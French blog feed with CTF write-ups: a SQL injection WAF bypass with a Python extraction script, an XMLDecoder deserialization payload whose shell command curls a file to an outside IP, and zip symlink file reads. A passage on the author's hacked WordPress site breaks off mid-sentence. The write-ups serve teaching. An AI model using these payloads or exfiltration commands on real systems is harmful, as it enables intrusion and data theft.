Daily Securityhttps://www.dailysecurity.fr/2016-04-04T09:08:00+02:00Nuit du Hack Quals 2016 – SpaceSec – Write-Up2016-04-04T09:08:00+02:002016-04-04T09:08:00+02:00Geluchattag:www.dailysecurity.fr,2016-04-04:/write-up-ndh-quals-2016-spacesec<p>Le week-end dernier, j'ai participé aux qualifications de la Nuit du Hack 2016 avec l'équipe khack40. Les 10 premières équipes recevaient des places gratuites pour la Nuit du Hack (début juillet) ainsi que la possibilité de participer au CTF privé lors de l’événement , et comme l'année dernière nous n'avons …</p><p>Le week-end dernier, j'ai participé aux qualifications de la Nuit du Hack 2016 avec l'équipe khack40. Les 10 premières équipes recevaient des places gratuites pour la Nuit du Hack (début juillet) ainsi que la possibilité de participer au CTF privé lors de l’événement , et comme l'année dernière nous n'avons malheureusement pas réussi à nous qualifier.</p> <p>Nous avons tout de même atteint la 11ème place (la place ingrate) ce qui est mieux que l'année précédente où après un rush infernal des autres équipes pendant la nuit nous avions finalement fini 28ème.</p> <p>Comme chaque année le guessing était présent (la stéganographie principalement) mais cela ne m'a pas empêché de trouver des épreuves intéressantes comme l'épreuve de web que je vais vous présenter.</p> <h3>SpaceSec 300 pts</h3> <p><img alt="SpaceSec Challenge" src="https://www.dailysecurity.fr/images/SpaceSec.png"></p> <p>La page est basique, un bon vieux challenge fait avec Bootstrap.</p> <p>On remarque que tous les articles proposés contiennent les mêmes descriptions, seuls les numéros de CVE et les auteurs semblent changer.</p> <p>En cliquant sur Older Post on obtient une adresse du type:</p> <blockquote> <p>http://spacesec.quals.nuitduhack.com/index.php?offset=6</p> </blockquote> <p>Si on change un peu l'offset on obtient :</p> <p><img alt="SpaceSec Challenge User Flag" src="https://www.dailysecurity.fr/images/SpaceSec-User-Flag.png"></p> <p>Oh un utilisateur qui s'appelle Flag...</p> <p>Soyons fou, tentons la SQL injection directement :</p> <blockquote> <p>http://spacesec.quals.nuitduhack.com/index.php?offset=6'</p> </blockquote> <p><img alt="SpaceSec Waf" src="https://www.dailysecurity.fr/images/SpaceSec_Waf.png"></p> <p>Bon, ça marche pas très bien, voyons voir si l'on peut au moins trigger une erreur SQL:</p> <blockquote> <p>http://spacesec.quals.nuitduhack.com/index.php?offset=-1</p> </blockquote> <p><img alt="SpaceSec Waf" src="https://www.dailysecurity.fr/images/SpaceSec_-1.png"></p> <p>Yeah, une belle erreur SQL !</p> <p>En résumé, nous avons :</p> <ul> <li>Un utilisateur Flag</li> <li>Un offset modifiable d'une requête SQL</li> <li>Une erreur SQL</li> <li>Un affichage du numéro de l'erreur SQL</li> <li>Un WAF maison</li> <li>Un fichier robots.txt pour nous embrouiller en prime</li> </ul> <p>Après un petit temps de réflexion on en vient à deux remarques :</p> <ul> <li>Le WAF se bypass facilement à coups de %0a pour les espaces et de changements de casse (SeLEcT par exemple)</li> <li>On ne peut pas faire d'UNION, la requête contient donc probablement un order by.</li> </ul> <p>La requête est donc dans le genre:</p> <div class="highlight"><pre><span class="nx">SELECT</span> <span class="o">*</span> <span class="nx">FROM</span> <span class="nx">latable</span> <span class="nx">ORDER</span> <span class="nx">BY</span> <span class="nb">rand</span><span class="p">()</span> <span class="nx">LIMIT</span> <span class="mi">3</span> <span class="nx">OFFSET</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;offset&#39;</span><span class="p">];</span> </pre></div> <p>Quelques recherches sur le web nous permettent de trouver un bypass assez sympathique à coup de procédure SQL.</p> <p><a href="http://raijee1337.blogspot.fr/2015/07/bypassing-incorrect-usage-of-union-and-order-by.html">L'article</a> en question nous parle de l'utilisation de la procédure ANALYSE qui est présente dans mysql de base.</p> <p>C'est presque trop beau pour être vrai, et... en effet ça l'est !</p> <blockquote> <p>http://spacesec.quals.nuitduhack.com/index.php?offset=1%a0PRoCEDuRE%a0aNaLYSE%0a(eXtractValue%0a(0,1),1)--</p> </blockquote> <p><img alt="Error1108" src="https://www.dailysecurity.fr/images/SpaceSec_Error1108-1.png"></p> <p>La page ne nous ressort que le numéro de l'erreur...</p> <p>Alors, que faire pour contourner ce problème?</p> <p>Eh bien, la réponse est simple, il suffit juste de faire une time-based injection !</p> <p>Et... ça ne fonctionne pas, l'auteur du challenge à décidé de bloquer les fonctions sleep et benchmark...</p> <p>Qu'à cela ne tienne, on passe donc par des heavy query !</p> <p>On récupère plein de fois information_schema pour faire ramer la page et... information_schema est bloqué aussi ?!</p> <p><img src="https://www.dailysecurity.fr/images/imdone.gif" alt="Im done" style="width: 50%;"/> </p> <p>Je décide donc d'aller me coucher sur un échec. Ce fut à la fois une bonne et une mauvaise idée :</p> <ul> <li> <p>J'ai trouvé la réponse dans la nuit</p> </li> <li> <p>Je n'ai pas dormi avant de l'avoir trouvée</p> </li> </ul> <p>De retour le lendemain <s>matin</s> après-midi, je décide de tenter ma trouvaille :</p> <p>Une SQL injection Boolean Based Into Double Error Based (oui, j'ai inventé le nom, mais ça en jette non?).</p> <p>J'explique, on va tenter de faire passer une condition dans notre extractvalue, si cette condition est vraie on lui fait faire un convert(9990130101,date), la date étant complétement fausse la fonction plante et retourne NULL, sinon, on retourne 1.</p> <p>Ce qu'il faut savoir, c'est que la procédure ANALYSE n'aime pas avoir un paramètre à NULL, elle crash donc un message d'<a href="http://dev.mysql.com/doc/refman/5.0/en/error-messages-server.html#error_er_wrong_parameters_to_procedure">erreur 1108</a> qui signifie "Message: Incorrect parameters to procedure '%s'"</p> <p>En revanche si on lui envoie 1 en premier paramètre elle nous renvoie juste une erreur <a href="http://dev.mysql.com/doc/refman/5.0/en/error-messages-server.html#error_er_unknown_error">1105</a> : "Message: Unknown error"</p> <p>On peut tester avec:</p> <blockquote> <p>http://spacesec.quals.nuitduhack.com/index.php?offset=1 PRoCEDuRE aNaLYSE ( (selEct exTractvalue (rAnd (),coNcat (0x3a, (case when (substring(1,1,1)=1) then convert(9990130101,date) else 1 end)))),1)--</p> </blockquote> <p>J'ai remplacé les %0a par des espaces pour un souci de compréhension.</p> <p><img alt="Error1108" src="https://www.dailysecurity.fr/images/SpaceSec_Error1108-1.png"></p> <blockquote> <p>http://spacesec.quals.nuitduhack.com/index.php?offset=1 PRoCEDuRE aNaLYSE ( (selEct exTractvalue (rAnd (),coNcat (0x3a, (case when (substring(1,1,1)!=1) then convert(9990130101,date) else 1 end)))),1)--</p> </blockquote> <p><img alt="Error1105" src="https://www.dailysecurity.fr/images/SpaceSec_Error1105.png"></p> <p>A partir de là on peut tout simplement récupérer le mot de passe de l'utilisateur Flag dans la base de données.</p> <p>Je vous épargne le temps afin de trouver la bonne table avec les bonnes colonnes en mode total guessing (more fun).</p> <p>Au final, on trouve une table users avec les colonnes id, username et password.</p> <p>Ni une, ni deux, on code un petit script qui récupère tout ça.</p> <p>Ayant une petite dent contre la programmation, je vous présente mon modeste script qui n'est pas optimisé mais qui fait le taf'</p> <div class="highlight"><pre><span class="c">#!/usr/bin/env python2</span> <span class="c"># -*- coding: utf8 -*-</span> <span class="kn">import</span> <span class="nn">requests</span><span class="o">,</span><span class="nn">time</span> <span class="n">cookie</span> <span class="o">=</span> <span class="p">{</span><span class="s">&#39;PHPSESSID&#39;</span> <span class="p">:</span> <span class="s">&#39;cl4r4m0rg4ne1sg00dbUt1pr3f3r3L3xiB3ll3&#39;</span><span class="p">}</span> <span class="n">passwd</span><span class="o">=</span><span class="s">&quot;&quot;</span> <span class="n">char</span><span class="o">=</span><span class="mi">48</span> <span class="n">length</span><span class="o">=</span><span class="nb">len</span><span class="p">(</span><span class="n">passwd</span><span class="p">)</span><span class="o">+</span><span class="mi">1</span> <span class="k">while</span> <span class="n">char</span><span class="o">!=</span><span class="mi">127</span><span class="p">:</span> <span class="n">forge</span><span class="o">=</span><span class="s">&quot;http://spacesec.quals.nuitduhack.com/index.php?offset=1%a0PRoCEDuRE%a0aNaLYSE%0a(%0a(selEct%0aexTractvalue%0a(rAnd%0a(),coNcat%0a(0x3a,%0a(case%0awhen%0a(substring(%0a(selEct%0apassword%0afRom%0ausers%0awHere%0ausername%0aliKe%0a0x464c4147),&quot;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">length</span><span class="p">)</span><span class="o">+</span><span class="s">&quot;,1)=char(&quot;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">char</span><span class="p">)</span><span class="o">+</span><span class="s">&quot;))%0athen%0aconvert(9990130101,date)%0aelse%0a1%0aend)))),1)--&quot;</span> <span class="n">resultat</span><span class="o">=</span><span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">forge</span><span class="p">,</span><span class="n">cookies</span><span class="o">=</span><span class="n">cookie</span><span class="p">)</span><span class="o">.</span><span class="n">content</span> <span class="k">print</span> <span class="n">forge</span> <span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mf">0.5</span><span class="p">)</span> <span class="k">if</span> <span class="n">resultat</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="s">&#39;1108&#39;</span><span class="p">)</span><span class="o">!=-</span><span class="mi">1</span> <span class="p">:</span> <span class="n">passwd</span><span class="o">+=</span><span class="nb">str</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">char</span><span class="p">))</span> <span class="n">char</span><span class="o">=</span><span class="mi">47</span> <span class="n">length</span><span class="o">+=</span><span class="mi">1</span> <span class="k">print</span> <span class="n">passwd</span> <span class="n">char</span><span class="o">+=</span><span class="mi">1</span> <span class="k">print</span> <span class="s">&quot;[+] Le password est: &quot;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">passwd</span><span class="p">)</span> </pre></div> <p>On obtient un mot de passe qui ressemble à un hash de 128 caractères en majuscule.</p> <p>La partie rigolote de l'histoire est que j'ai cherché pendant une demi-heure quoi en faire et au final Mastho, un membre de mon équipe, l'a flag en 5 secondes en m'expliquant qu'il avait juste mis le hash en minuscule...</p> <p>En définitive, une épreuve bien marrante avec des protections assez funs.</p> <p>Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon Twitter pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.</p> <p>Geluchat.</p>HackIm 2016 - Web100 / Web400 - Write-Up2016-02-03T15:06:00+01:002016-02-03T15:06:00+01:00Geluchattag:www.dailysecurity.fr,2016-02-03:/write-up-hackim-web100-web400<p>J'ai dernièrement participé avec mon équipe au HackIm, un CTF organisé par la <a href="http://nullcon.net">NullCon</a>.</p> <p>Malgré de nombreuses tricheries, des points mal repartis ainsi que des épreuves de type "devinette", ce CTF nous a proposé des challenges très intéressants dans les catégories Web et Exploitation.</p> <p>Voici donc un write-up de deux …</p><p>J'ai dernièrement participé avec mon équipe au HackIm, un CTF organisé par la <a href="http://nullcon.net">NullCon</a>.</p> <p>Malgré de nombreuses tricheries, des points mal repartis ainsi que des épreuves de type "devinette", ce CTF nous a proposé des challenges très intéressants dans les catégories Web et Exploitation.</p> <p>Voici donc un write-up de deux épreuves web que j'ai trouvées enrichissantes.</p> <h3>Web 100 - SignServer 100 pts</h3> <blockquote> <p>Document signature is so hot right now! SignServer provides you with the most advanced solution to sign and verify your documents. We support any document types and provide you with a unique, ultra-secure signature. http://54.174.72.79:9000</p> </blockquote> <p>Arrivé à l'adresse indiquée nous avons accès à deux services, l'un qui nous permet de signer et l'autre de vérifier une signature.</p> <p>En envoyant un fichier au hasard (on évite celui qui contient nos mots de passe), on obtient:</p> <div class="highlight"><pre><span class="nt">&lt;java</span> <span class="na">version=</span><span class="s">&quot;1.8.0_72-internal&quot;</span> <span class="na">class=</span><span class="s">&quot;java.beans.XMLDecoder&quot;</span><span class="nt">&gt;</span> <span class="nt">&lt;object</span> <span class="na">class=</span><span class="s">&quot;models.CTFSignature&quot;</span> <span class="na">id=</span><span class="s">&quot;CTFSignature0&quot;</span><span class="nt">&gt;</span> <span class="nt">&lt;void</span> <span class="na">class=</span><span class="s">&quot;models.CTFSignature&quot;</span> <span class="na">method=</span><span class="s">&quot;getField&quot;</span><span class="nt">&gt;</span> <span class="nt">&lt;string&gt;</span>hash<span class="nt">&lt;/string&gt;</span> <span class="nt">&lt;void</span> <span class="na">method=</span><span class="s">&quot;set&quot;</span><span class="nt">&gt;</span> <span class="nt">&lt;object</span> <span class="na">idref=</span><span class="s">&quot;CTFSignature0&quot;</span> <span class="nt">/&gt;</span> <span class="nt">&lt;string&gt;</span>86f7e437faa5a7fce15d1ddcb9eaeaea377667b8<span class="nt">&lt;/string&gt;</span> <span class="nt">&lt;/void&gt;</span> <span class="nt">&lt;/void&gt;</span> <span class="nt">&lt;void</span> <span class="na">class=</span><span class="s">&quot;models.CTFSignature&quot;</span> <span class="na">method=</span><span class="s">&quot;getField&quot;</span><span class="nt">&gt;</span> <span class="nt">&lt;string&gt;</span>sig<span class="nt">&lt;/string&gt;</span> <span class="nt">&lt;void</span> <span class="na">method=</span><span class="s">&quot;set&quot;</span><span class="nt">&gt;</span> <span class="nt">&lt;object</span> <span class="na">idref=</span><span class="s">&quot;CTFSignature0&quot;</span> <span class="nt">/&gt;</span> <span class="nt">&lt;string&gt;</span>902d4de8fb705154a1a0107c227b9d510523fa17<span class="nt">&lt;/string&gt;</span> <span class="nt">&lt;/void&gt;</span> <span class="nt">&lt;/void&gt;</span> <span class="nt">&lt;/object&gt;</span> <span class="nt">&lt;/java&gt;</span> </pre></div> <p>On peut voir que l'objet a été sérialisé en XML et passe dans la moulinette "XML Decoder".</p> <p>Après quelques recherches sur cette méthode, <a href="https://github.com/o2platform/DefCon_RESTing/tree/master/Demo /_O2_Scripts/XmlEncoder%20-%20Restlet/exploits">on apprend</a> qu'elle peut prendre plusieurs objets en même temps.</p> <p>La méthode ProcessBuilder sur package java.lang nous permet de faire appel à des commandes systèmes.</p> <p>On envoie donc avec l'option signature cochée :</p> <div class="highlight"><pre><span class="nt">&lt;java</span> <span class="na">version=</span><span class="s">&quot;1.8.0_72-internal&quot;</span> <span class="na">class=</span><span class="s">&quot;java.beans.XMLDecoder&quot;</span><span class="nt">&gt;</span> <span class="nt">&lt;object</span> <span class="na">class=</span><span class="s">&quot;models.CTFSignature&quot;</span> <span class="na">id=</span><span class="s">&quot;CTFSignature0&quot;</span><span class="nt">&gt;</span> <span class="nt">&lt;void</span> <span class="na">class=</span><span class="s">&quot;models.CTFSignature&quot;</span> <span class="na">method=</span><span class="s">&quot;getField&quot;</span><span class="nt">&gt;</span> <span class="nt">&lt;string&gt;</span>hash<span class="nt">&lt;/string&gt;</span> <span class="nt">&lt;void</span> <span class="na">method=</span><span class="s">&quot;set&quot;</span><span class="nt">&gt;</span> <span class="nt">&lt;object</span> <span class="na">idref=</span><span class="s">&quot;CTFSignature0&quot;</span> <span class="nt">/&gt;</span> <span class="nt">&lt;string&gt;</span>86f7e437faa5a7fce15d1ddcb9eaeaea377667b8<span class="nt">&lt;/string&gt;</span> <span class="nt">&lt;/void&gt;</span> <span class="nt">&lt;/void&gt;</span> <span class="nt">&lt;void</span> <span class="na">class=</span><span class="s">&quot;models.CTFSignature&quot;</span> <span class="na">method=</span><span class="s">&quot;getField&quot;</span><span class="nt">&gt;</span> <span class="nt">&lt;string&gt;</span>sig<span class="nt">&lt;/string&gt;</span> <span class="nt">&lt;void</span> <span class="na">method=</span><span class="s">&quot;set&quot;</span><span class="nt">&gt;</span> <span class="nt">&lt;object</span> <span class="na">idref=</span><span class="s">&quot;CTFSignature0&quot;</span> <span class="nt">/&gt;</span> <span class="nt">&lt;string&gt;</span>902d4de8fb705154a1a0107c227b9d510523fa17<span class="nt">&lt;/string&gt;</span> <span class="nt">&lt;/void&gt;</span> <span class="nt">&lt;/void&gt;</span> <span class="nt">&lt;/object&gt;</span> <span class="nt">&lt;object</span> <span class="na">class=</span><span class="s">&quot;java.lang.ProcessBuilder&quot;</span><span class="nt">&gt;</span> <span class="nt">&lt;array</span> <span class="na">class=</span><span class="s">&quot;java.lang.String&quot;</span> <span class="na">length=</span><span class="s">&quot;3&quot;</span> <span class="nt">&gt;</span> <span class="nt">&lt;void</span> <span class="na">index=</span><span class="s">&quot;0&quot;</span><span class="nt">&gt;</span> <span class="nt">&lt;string&gt;</span>/bin/sh<span class="nt">&lt;/string&gt;</span> <span class="nt">&lt;/void&gt;</span> <span class="nt">&lt;void</span> <span class="na">index=</span><span class="s">&quot;1&quot;</span><span class="nt">&gt;</span> <span class="nt">&lt;string&gt;</span>-c<span class="nt">&lt;/string&gt;</span> <span class="nt">&lt;/void&gt;</span> <span class="nt">&lt;void</span> <span class="na">index=</span><span class="s">&quot;2&quot;</span><span class="nt">&gt;</span> <span class="nt">&lt;string&gt;</span>/bin/cat flag | /usr/bin/tee /tmp/res;/usr/bin/curl 195.154.70.52:4444/1 --data &quot;@/tmp/res&quot;<span class="nt">&lt;/string&gt;</span> <span class="nt">&lt;/void&gt;</span> <span class="nt">&lt;/array&gt;</span> <span class="nt">&lt;void</span> <span class="na">method=</span><span class="s">&quot;start&quot;</span><span class="nt">/&gt;</span> <span class="nt">&lt;/object&gt;</span> <span class="nt">&lt;/java&gt;</span> </pre></div> <p>En essayant de créer des commandes j'ai rencontré un problème avec les redirections ('\&lt;','>'), c'est pourquoi ma commande pour extraire le flag est plus complexe qu'un simple reverse shell.</p> <div class="highlight"><pre><span class="gp">$</span> nc -lvp 4444 <span class="go">listening on [any] 4444 ...</span> <span class="go">connect to [195.154.70.52] from ec2...</span> <span class="go">flag{ser1l1azati0n_in_CTF_is_fUN}</span> </pre></div> <h3>Web 400 - smashthestate 400 pts</h3> <blockquote> <p>This beautiful website for testing zip files contains a replica of a vulnerability found in a well known bug bounty site. Log in with rob:smashthestate then exploit the vulnerability to gain access to the 'admin' account and the flag. Automated tools and bruteforcing will not help you solve this challenge. http://54.152.101.3</p> </blockquote> <p>En arrivant sur le challenge, on voit un formulaire de connexion ainsi qu'une page qui nous propose de générer un code envoyé par email à l'administrateur.</p> <p>Après connexion avec l'utilisateur indiqué rob:smashthestate, on se trouve face à un formulaire d'upload qui prend une archive zip.</p> <p>On envoie donc un fichier zipé au hasard et on observe que le fichier a été dezippé puis affiché.</p> <p>Les archives zip sont connues pour être faillibles aux attaques par symlink, on peut donc récupérer le code source de la page :</p> <div class="highlight"><pre><span class="gp">$</span> ln -s /var/www/html/index.php link <span class="gp">$</span> zip –symlinks test.zip link </pre></div> <p>Ce qui donne:</p> <div class="highlight"><pre><span class="nv">$FAKE_DATABASE</span> <span class="o">=</span> <span class="k">array</span> <span class="p">(</span> <span class="s2">&quot;rob&quot;</span> <span class="o">=&gt;</span> <span class="s2">&quot;60df0ab1a78fd0d95a4cfa4b0854931b&quot;</span><span class="p">,</span> <span class="c1">// smashthestate</span> <span class="s2">&quot;admin&quot;</span> <span class="o">=&gt;</span> <span class="s2">&quot;8e11a50ef762f924d7af9995889873e4&quot;</span><span class="p">,</span> <span class="p">);</span> <span class="nv">$page</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;page&#39;</span><span class="p">];</span> <span class="k">switch</span> <span class="p">(</span><span class="nv">$page</span><span class="p">)</span> <span class="p">{</span> <span class="k">case</span> <span class="s2">&quot;login&quot;</span><span class="o">:</span> <span class="k">echo</span> <span class="s2">&quot;trying to log in&quot;</span><span class="p">;</span> <span class="nv">$user</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;user&#39;</span><span class="p">];</span> <span class="nv">$pass</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;pass&#39;</span><span class="p">];</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$FAKE_DATABASE</span><span class="p">[</span><span class="nv">$user</span><span class="p">]</span> <span class="o">===</span> <span class="nb">md5</span><span class="p">(</span><span class="nv">$pass</span><span class="p">))</span> <span class="p">{</span> <span class="nb">session_start</span><span class="p">();</span> <span class="nb">session_regenerate_id</span><span class="p">(</span><span class="k">True</span><span class="p">);</span> <span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">&#39;user&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$user</span><span class="p">;</span> <span class="nb">header</span><span class="p">(</span><span class="s2">&quot;Location: ?page=upload&quot;</span><span class="p">);</span> <span class="k">die</span><span class="p">();</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="nb">header</span><span class="p">(</span><span class="s2">&quot;Location: ?&quot;</span><span class="p">);</span> <span class="p">}</span> <span class="k">break</span><span class="p">;</span> <span class="k">case</span> <span class="s2">&quot;admin_login_help&quot;</span><span class="o">:</span> <span class="nb">session_start</span><span class="p">();</span> <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">&#39;login_code&#39;</span><span class="p">])</span> <span class="p">){</span> <span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">&#39;login_code&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="nb">bin2hex</span><span class="p">(</span><span class="nb">openssl_random_pseudo_bytes</span><span class="p">(</span><span class="mi">18</span><span class="p">));</span> <span class="k">echo</span> <span class="s2">&quot;A login code has been emailed to the administrator. Once you have recieved it, please click here</span><span class="se">\n</span><span class="s2">&quot;</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="k">echo</span> <span class="s2">&quot;There is already an active login code for this session&quot;</span><span class="p">;</span> <span class="p">}</span> <span class="k">break</span><span class="p">;</span> <span class="k">case</span> <span class="s2">&quot;code_submit&quot;</span><span class="o">:</span> <span class="nb">session_start</span><span class="p">();</span> <span class="nv">$code</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;code&#39;</span><span class="p">];</span> <span class="k">if</span> <span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$code</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="nb">isset</span><span class="p">(</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">&#39;login_code&#39;</span><span class="p">]))</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$code</span> <span class="o">===</span> <span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">&#39;login_code&#39;</span><span class="p">]</span> <span class="p">){</span> <span class="k">echo</span> <span class="s2">&quot;Flag: &quot;</span><span class="p">;</span> <span class="nb">passthru</span><span class="p">(</span><span class="s2">&quot;sudo /bin/cat /var/www/html/flag&quot;</span><span class="p">);</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="k">echo</span> <span class="s2">&quot;Invalid code&quot;</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="k">echo</span> <span class="s2">&quot;Please input the login code:&quot;</span><span class="p">;</span> <span class="p">}</span> <span class="k">break</span><span class="p">;</span> <span class="k">case</span> <span class="s2">&quot;upload&quot;</span><span class="o">:</span> <span class="nb">session_start</span><span class="p">();</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">&#39;user&#39;</span><span class="p">]))</span> <span class="p">{</span> <span class="nb">header</span><span class="p">(</span><span class="s2">&quot;Location: ?&quot;</span><span class="p">);</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="k">echo</span> <span class="s2">&quot;Welcome &quot;</span><span class="o">.</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">&#39;user&#39;</span><span class="p">]</span> <span class="o">.</span><span class="s2">&quot; Logout&quot;</span><span class="p">;</span> <span class="k">echo</span> <span class="s2">&quot;Use this form to verify zip integrity&quot;</span><span class="p">;</span> <span class="p">}</span> <span class="k">break</span><span class="p">;</span> <span class="k">case</span> <span class="s2">&quot;process_upload&quot;</span><span class="o">:</span> <span class="nb">session_start</span><span class="p">();</span> <span class="k">if</span> <span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">&#39;user&#39;</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="nv">$_FILES</span><span class="p">[</span><span class="s1">&#39;zipfile&#39;</span><span class="p">][</span><span class="s1">&#39;name&#39;</span><span class="p">])</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$_FILES</span><span class="p">[</span><span class="s1">&#39;zipfile&#39;</span><span class="p">][</span><span class="s1">&#39;size&#39;</span><span class="p">]</span> <span class="o">&gt;</span> <span class="mi">16000</span><span class="p">)</span> <span class="p">{</span> <span class="k">echo</span> <span class="s2">&quot;File above max size of 10kb&quot;</span><span class="p">;</span> <span class="k">echo</span> <span class="s2">&quot;back&quot;</span><span class="p">;</span> <span class="k">break</span><span class="p">;</span> <span class="p">}</span> <span class="nv">$tmp_file</span> <span class="o">=</span> <span class="s1">&#39;/var/www/html/tmp/upload_&#39;</span><span class="o">.</span><span class="nb">session_id</span><span class="p">();</span> <span class="c1"># ZipArchive may not be available</span> <span class="c1"># $zip = new ZipArchive;</span> <span class="c1"># $zip-&gt;open($_FILES[&#39;zipfile&#39;][&#39;name&#39;]);</span> <span class="c1"># $zip-&gt;extractTo($tmp_file);</span> <span class="nb">exec</span><span class="p">(</span><span class="s1">&#39;unzip -o &#39;</span><span class="o">.</span><span class="nv">$_FILES</span><span class="p">[</span><span class="s1">&#39;zipfile&#39;</span><span class="p">][</span><span class="s1">&#39;tmp_name&#39;</span><span class="p">]</span><span class="o">.</span> <span class="s1">&#39; -d &#39;</span><span class="o">.</span><span class="nv">$tmp_file</span><span class="p">);</span> <span class="k">echo</span> <span class="s2">&quot;Zip contents: &quot;</span><span class="p">;</span> <span class="nb">passthru</span><span class="p">(</span><span class="s2">&quot;cat </span><span class="si">$tmp_file</span><span class="s2">/* 2&gt;&amp;1&quot;</span><span class="p">);</span> <span class="nb">exec</span><span class="p">(</span><span class="s2">&quot;rm -rf </span><span class="si">$tmp_file</span><span class="s2">&quot;</span><span class="p">);</span> <span class="k">echo</span> <span class="s2">&quot;back&quot;</span><span class="p">;</span> <span class="p">}</span> <span class="k">break</span><span class="p">;</span> <span class="k">default</span><span class="o">:</span> <span class="k">echo</span> <span class="s2">&quot;&lt;html&gt;&lt;form action=&#39;?page=login&#39; method=&#39;POST&#39;&gt;Username: &lt;input name=&#39;user&#39;/&gt;&lt;br/&gt;Password: &lt;input type=&#39;password&#39; name=&#39;pass&#39;/&gt;&lt;br/&gt;&lt;input type=&#39;submit&#39; value=&#39;Log in&#39;/&gt;&lt;/form&gt;&lt;a href=&#39;?page=admin_login_help&#39;&gt;Admin login help&lt;/a&gt;&lt;/html&gt;&quot;</span><span class="p">;</span> <span class="k">break</span><span class="p">;</span> <span class="p">}</span> </pre></div> <p>Dans la page, le flag est affiché si notre code généré correspond à la bonne valeur.</p> <p>Grâce à la faille précédente on récupère notre cookie de session via les commandes :</p> <div class="highlight"><pre><span class="gp">$</span> ln -s /var/lib/php5/sess_71kl18mrbua52acd91jceqmrs4 link <span class="gp">$</span> zip –symlinks test.zip link </pre></div> <p>Une fois le code affiché il ne reste plus qu'à le mettre dans le formulaire de validation qui nous donne le flag :</p> <div class="highlight"><pre><span class="n">Flag</span><span class="o">:</span> <span class="mi">8</span><span class="n">e11a50ef762f924d7af9995889873e4</span> </pre></div> <p>Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon Twitter pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.</p> <p>Geluchat.</p>Comment pirater un WordPress, ou pas...2015-05-12T13:04:00+02:002015-05-12T13:04:00+02:00Geluchattag:www.dailysecurity.fr,2015-05-12:/comment-pirater-un-wordpress<p>Je ne sais pas si vous l'avez remarqué, mais il y a une semaine mon site était indisponible en raison d'une maintenance.</p> <p>Tout a débuté le 1er Mai, je me rends comme chaque jour sur mon site pour les mises à jour quotidiennes et c'est alors qu'apparaît une belle deface …</p><p>Je ne sais pas si vous l'avez remarqué, mais il y a une semaine mon site était indisponible en raison d'une maintenance.</p> <p>Tout a débuté le 1er Mai, je me rends comme chaque jour sur mon site pour les mises à jour quotidiennes et c'est alors qu'apparaît une belle deface (modification de la page d'accueil du site) faite par un groupe de h4x0r avec un message dans un anglais approximatif "Ure security is bad, go patch, blabla" ainsi qu'une petite mention disant que payer un hébergeur ne veut pas dire que l'on est en sécurité.</p> <p>Sur le coup, j'imagine que l'un de mes plugins n'a pas été mis à jour et j'accuse le coup en me disant qu'après tout, ce n'est qu'un Wordpress.</p> <p>Après une analyse un peu plus approfondie des logs j'en viens à une conclusion étrange : il semblerait qu'ils se soient tous simplement connectés avec mon compte administrateur.</p> <p>Hop, je lance un scan antivirus sur mon PC, rien n'est détecté, même pas le moindre logiciel espion, pas un faux positif, rien.</p> <p>J'en viens à penser que c'est peut-être une 0day mais le souvenir de la tête de mort sur la deface ainsi que les pseudos du type xXxD4rkAng3lxXx me rappellent vite que la faille ne doit pas être bien compliquée.</p> <p>Je reçois plusieurs messages via IRC et Skype, un de mes amis m'a même conseillé en rigolant de lancer un armitage auto_pwn, je décide de rester plus calme en lançant un scan Nikto classique ainsi qu'une analyse des plugins Wordpress, peut être que quelque chose m'aurait échappé ...</p> <p>C'est alors qu'une personne fort sympathique m'a contacté sur IRC pour me souhaiter bonne chance pour la remise en place de mon site. En discutant avec celle-ci, j'apprends que le port 31337 est ouvert sur le serveur qui m'héberge.</p> <p>J'en viens alors à deux hypothèses remplies de questions :</p> <ol> <li>Ce shell vient-il de mon site?</li> <li>S'il n'est pas à moi que fait-il là ? Et quels sont ses droits sur le serveur ?</li> </ol> <p>Afin de satisfaire ma curiosité je décide de m'y connecter, sachant que mon hébergeur mutualisé est lié au domaine snip.snap (ce n'est 